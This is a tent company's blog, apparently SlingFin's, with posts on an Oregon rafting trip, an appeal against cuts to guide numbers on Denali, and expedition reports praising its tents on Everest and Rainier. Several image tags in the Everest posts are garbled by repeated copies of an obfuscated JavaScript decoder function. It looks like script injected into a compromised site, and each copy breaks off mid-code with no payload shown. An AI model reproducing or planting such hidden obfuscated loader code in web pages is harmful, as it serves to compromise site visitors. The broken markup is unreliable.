The Rouge River.

verdant |ˈvərdnt| adjective (of countryside) green with grass or other rich vegetation. • of the bright green color of lush grass : a deep, verdant green.

Every time I  head to oregon I am quickly reminded of its beauty, verdancy and abundance of generally nice people.

This trip was no exception, and what a trip it was. It was a good thing that we were packed to go rafting, having all the drybags and wet weather gear really came in handy when it decided to rain for days on end.

When it comes to gear testing there was no better time to be on the river. The OneUp was a great asset when it came to hanging up all that wet gear from the internal guy lines, and the roll back floor allowed the water to drip right back on to the sand.

As usual everywhere we go people want to know.. What is that structure? We got asked that question buy just about every group that passed us, but this one fellow asked us for our website and I hollered SLINGFIN.COM! I was sure he didn't hear me as he rushed down river, but sure enough a few days later this picture popped up in our inbox.. As it turns out his name was Steve Roelof, and on top of having great hearing, he takes stunning river shots & has a site called http://www.westernriverimages.com/ it is filled with beautiful pics.

Help Save the Guides on Denali.

On a big mountain a good guide can mean the difference between a life changing experience and basic survival.

The NPS is planning to reduce the amount of guides on Denali next season by 75%, in some cases cutting the employed guides from 54 to 13.

Slingfin received the following email today and it was so well written I felt the need to post the whole thing.

GET INVOLVED!

PASS IT ON!

The first round prototype of one of our new tents the "Hardshell" on Denali last May.

SAVE THE GUIDES!

"The NPS has Denali climber allocation up for final discussion.  Thanks to all of you that commented last winter on this topic! They read the comments and came up with 3 alternatives to try and work from. 
I really appreciated that they are trying to resolve this issue. Sadly, all of the alternatives they list include a baseline 25% commercial use. This percentage could drastically effects the future of guiding and guiding jobs on Denali. 
25% equals 47 clients per concession and only 15 guide positions per season for AMS. 
To compare: This year we led 94 clients on Denali and had 47 guide positions on Denali.
You can comment and find the whole plan at this address:http://parkplanning.nps.gov/document.cfm?parkID=9&projectID=33610&documentID=43253
DEADLINE TO COMMENT IS THIS SATURDAY OCTOBER 15, 2011
We are still formulating our comments to this plan, and we need you (and your friends and family) to comment too!  Comments must have a solid reasoning to be considered. Here are some points to consider. Scroll to the bottom to see our proposed solutions.
The Denali Park # 3 preferred alternative is good with exceptions of: 
         1. Limiting commercial capacity to 25% of 1500
         2. The inclusion of mountain guides to the base allowable percentage  
         3. Lack of clear implementation plan. 
Here is why:
 1. Inadequate Range of Alternatives:
The base allowable commercial use of 25% is listed in all three alternatives. The 2011 EA and the 2006 BCMP do not acknowledge the significant economic impact that the reduction to 25% commercial use will have on the Denali mountaineering concessioners, their employees, park visitors, or surrounding local businesses. If the Denali National Park feels it must reduce base commercial use to 25% of total allowable use, then, NEPA requires an Environmental Impact Statement with socioeconomic studies. The NPS preferred alternative #3 does suggest the opportunity for increased use due to potential unclaimed permits, but offers no plan to implement that increased use to meet current visitor demand and no implementation of that plan. 
2. Lack Of Conflict/ Ease of Using Current Methods:
Guided and individual climbers are not being displaced using current methods of regulating climbing activity, we suggest using the working current percentages, with moderate room for growth to accommodate the trend of increasing demand.
3. Decreased Job Opportunity:
            In 2011, Alaska Mountaineering School (AMS) employed 47 guide positions.  Decreasing guaranteed commercial opportunity to 25% would allow only 15 guide jobs on Denali for the season.  Another Concessioner employed 54 guides, for their business model a reduction to 25% would provide only 13 guide positions available.  
For all the concessioners estimates show that over 90 guide positions could be lost.

 

4. Decreased Stewardship:
            Each guided expedition on Denali provides 21 days of education to clients; this encourages and results in excellent stewardship of the glaciated mountain environment and Denali National Park. In 2010 there were 169 guides on Denali educating the public. Reducing the guaranteed opportunity of commercial activity to 25% could result in a loss of 1,974 days of guided education on the West Buttress.
5. Decreased Cleanliness:
            Field observations show that guided groups are cleaner and more responsible for a cleaner mountain environment. They are, in fact, bound to be cleaner by their concession contract and therefore are additionally accountable. 
6. Decreased Visitor Opportunity:
            In 2010, 1177 people climbed Mt. McKinley, of those 409 were guided climbers, a 25% limitation could result in 174 less guided park visitors.  That is 42% of the people may not be able to climb Mt. McKinley with a guided team.

 

7. West Buttress Special Use Area Corridor
The area of Mount McKinley that we are discussing is the West Buttress, not the entire massif. The park BCMP acknowledged that the area is higher use and designated it as such by calling it the West Buttress Special Use Corridor, which is within the Old Park wilderness area. 
The Parks BCMP sates that within this corridor park visitors will encounter:
• High Evidence of Human Use
• Landscape modifications
• Encounters with large groups
• High Camping Density
High Administrative Presence
We believe the original intent was to limit commercial use to 25% of potential use in the Wilderness Area outside of the Special Use Corridor (precisely why it was designated).  This Corridor designation allows the NPS to be flexible within the acknowledged busier area of the West Buttress Route of Mt. McKinley, to accommodate park visitors wishing to join a guided expedition.  
8. Don’t Count Guides
Guides are not recreating; they are working. Excluding guides from commercial percentage allows a smaller commercial percentage (closer to the BCMP figure) and greater park visitor safety.  Including guides in the percentage will result in fewer guides on the mountain, decreasing overall quality of experience to all park visitors who climb because of the support guides provide for the entire visitor population. Mountain guides provide a multitude of positive contributions to the national park lands and all park visitors while climbing Mt. McKinley, which include but are not limited to: increased safety and hazard awareness, assistance to park rangers in SAR operations and maintenance of equipment on the mountain, LNT environmental ethics and practices, education of the natural and human history of the Alaska Range and surrounding terrain.

 

Proposed Solutions:
1. (Preferred) Include guided climbers only in the guaranteed opportunity of commercial use to 38% of total possible activity on the West Buttress of Mt. McKinley. To accommodate increased visitor demand in the future, utilize the NPS plan to share with concessioners unused climbing permits. Implement the plan with an equally divided, structured format, in order to offer the park visitors fair opportunity to climb Denali and to protect future opportunities.  Include the plan of implementation within the mountaineering concession contracts.

 

2. Include guided climbers and guides in the guaranteed opportunity of commercial use to 50% (1982- present allowable use) of total possible activity on the West Buttress of Mt. McKinley. To accommodate increased visitor demand in the future, utilize the NPS plan to share with concessioners unused climbing permits. Implement the plan with an equally divided, structured format, in order to offer the park visitors fair opportunity to climb Denali and to protect future opportunities.  Include the plan of implementation within the mountaineering concession contracts."

The L.F.D on Broad Peak.

The Altituide Junkies crew have returned from an expedition to Broad Peak.

From the Altitude Junkies blog:

“We have now finally arrived in Base Camp after six long days trekking and will be enjoying some well deserved rest over the next few days while we establish our base camp.

 

For this Broad Peak expedition we are very pleased to be using the LFD dome made by SlingFin as our dinning and communication tent. The guys behind SlingFin, Martin and Tim, are two of the original guys who started Mountain Hardwear so we expect them to be knocking out some awesome tents in the future with the SlingFin product line.

 

After we have base camp established with all our communication and solar equipment set up we will then make plans to start to fix rope to camp one and get some acclimatization rotations in.

 

The above photos show the view of K2 from Broad Peak base camp and our members enjoying lunch in our SlingFin dining dome.

 

-Phil Crampton"

Phil is a well seasoned mountain guide who really knows his stuff, his insights and comments from the field are invaluable to us back at our own base camp in Berkeley.

Thanks for the kudos Phil! We hope to get your team in a B.F.D for the next expedition.

Prototype development on Mt.Rainier.

Michael Horst is a mountaineer who has recently added a page to mountaineering history.

This past May he summited Everest and Lhotse in 21 hours, making him the first human to accomplish such a feat.  He was followed by another team of climbers led by Garett Madison, who were using the L.F.D on their expedition.

Being a good friend of SlingFin and with his recent accomplishments, we offered Michael a prototype of a tent we are developing called the Hardshell.

The Hardshell is the smallest of our alpine tent line designed to be pushed up high on the mountain and shelter 3-4 climbers and gear. Built around the Webtruss the Hardshell has all the advantages of the OneUp in a smaller lighter package and a full pole supported vestibule.

Michael got the Hardshell to 11,000ft at Ingraham Flats on Mt.Rainier and came back with great reviews and some stunning photos. This little fortress is in the final stages of development and with its recent performance in the field, we are certain it will be a driving force as strong as those it was designed to withstand.

We are also working on a few other models and if you look closely at the album on Facebook you may be able to spot them...

Tell me what you find and ill send you a sticker!

Happy Trails.

=D

 

OneUp on Rainier

 

 

 

 

The OneUp on a bluebird day. Mt. Rainier.

While the SlingFin crew was going through the paces on the “river of no return“…

The OneUp was getting put through the paces on Mt. Rainier.

One of the main goals of SlingFin is to produce the best gear possible with inferred design principals from real users, guides, and outdoor professionals.

The best way to do this is simple. Get the gear to the mountain and into a guides pack... Then tell them to beat it up.

The guides using the tents had some great responses to the design of the tent, and some even better ideas and feedback!

Yet another photo of a big mountain where all the tents in view were designed by Martin Zemitis.

Moonrise over the L.F.D.

Moonrise over the L.F.D @ Camp 2. Photo-Neal Beidleman

We have received many amazing photos from Everest this season, and one thing keeps coming to mind; a large majority of all the tents on this mountain were designed by Martin Zemitis.

Martin has been designing outdoor since he was in high school, and SlingFin is the culmination of the past 30+ years of his experience. The materials in SlingFin tents are not revolutionary;  but the manner in which they are applied most definitely are.

In a way, every shelter he has made was a prototype for our current design model. The proper use of fabrics and materials in the right places, in order to provide the highest level of function and strength for the required conditions.

=D

Summit pics!

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-scott-on-the-summit.jpg">function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-scott-on-the-summit" src="http://digitalcobra.com/blog/wp-content/uploads/2011/05/newall-gregg-irekl-and-scott-on-the-summit.jpg" alt="" width="594" height="446" />

Looking back at the south summit of Everest - Photo- Mountain Trip.

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-scott-on-the-summit.jpg">

MOUNTAIN TRIP IS ON TOP OF THE WORLD!

Ephi just waiting to get into his tent

Thanks to the strong and experienced guides at Mountain Trip, they had a 100% summit success!

All the comforts of home in our big dome! Laurie brings sushi to base camp.

 

And what from what i've seen from the crew so far, this group does it right. Sushi at base camp? Labatts beer at Camp 3 @24,500ft ?  Days of extras oxygen at Camp 4? Sounds like Mountain Trip pulls out all the stops for their clients, add to that guides like Scott Woolums and Bill Allen who have spent more nights in the back country than an alaskan bear cub, and you have a recipe for a solid expedition team.

A.A.I HAS DONE IT! EVEREST AND LHOTSE DOUBLE SUMMIT!

Alpine Ascents’ website officially reports: At 4:22 am on May 20th 2011, Garrett Madison, Tom Halliday and Kami Rita Sherpa made the summit of Lhotse!

This is a truly amazing feat of mountaineering in all aspects of the sport. The level of skill and sheer endurance that this type of climb requires is possessed by very few people on this earth.

CONGRATULATIONS BOYS!

The Guides’ Choice.

function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-newal-holding-our-dinning-tent-in-the-high-winds.jpg”>function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-newal-holding-our-dinning-tent-in-the-high-winds” src=”http://digitalcobra.com/blog/wp-content/uploads/2011/05/scott-and-newal-holding-our-dinning-tent-in-the-high-winds.jpg" alt="" width="614" height="461" />

Inside the L.F.D during the windstorm. Human reinforcement!

It says a lot when a guide chooses a tent on Everest.  This shelter must be  exceptionally strong, after all this space will be your sanctuary when you need it most.  If a hurricane is blowing in the bay of bengal and  the temperature in Camp 2  @ 21,500ft drops to -20f  with gale force winds, the tent you have chosen is not just a structure...  It's life support.

And this is just what happened at Camp 2 on May 6. A big wind storm kicked up at night and blew fierce in to the morning, reports speak of 50-80 mph winds that devastated 30% of the entire camp. The Mountain Trip team only lost two tents in the ordeal and everybody is doing just fine.

"Just wanted to let you know that the LFD is hanging tough up at Camp 2 (21,500 ft +/-) in 50-80mph winds while other tents are snapping poles.  Scott Woolums is up there today, and said the dome is doing great.  I just came down to base camp yesterday with my crew, after spending the last week up there and really think that the LFD is the best dining tent or dome up at Camp 2.  We really appreciate all the windows, and ventilation options, the big doors, etc.   The biggest concern that we had was how it would do in the wind, and it is standing up to the test right now.  We were able to secure it really well all the way around.  Climbers from other teams stop by regularly to check out the dome and I think they are all jealous."
-Bill Allen Mountain Trip.

Rows of flattened tents @ 21,500 ft in Camp 2.

This is where the little details become HUGE factors.

SlingFin is the first to use ET70 (titanium dioxide bias binding) on the tent body and perimeter (BFD and LFD). This is an important detail since nylon and polyester bias bindings will degrade much sooner than the rest of the tent which is made of ET70.

All perimeter tie-outs and grommet tabs have a grosgrain reinforcement. This helps to strengthen the tent fabric in high stress areas where the fabric is under excessive tension or areas with bar tacks.

SlingFin tents are equipped with Easton® Expedition grade 7075-T9 tent tube. Easton aluminum tent tube is hard anodized and has the highest yield strength available in the industry.

All stress points are reinforced with extra fabric or grosgrain and sewn with a bar tack or reinforced by back tacking the stress area. Back tacks are most commonly applied to stress areas that would be damaged by a bar tack machine.

These are some of the little details and fine points that separate a thoughtfully designed mountaineering dome from a pile of poles and fabric.

=D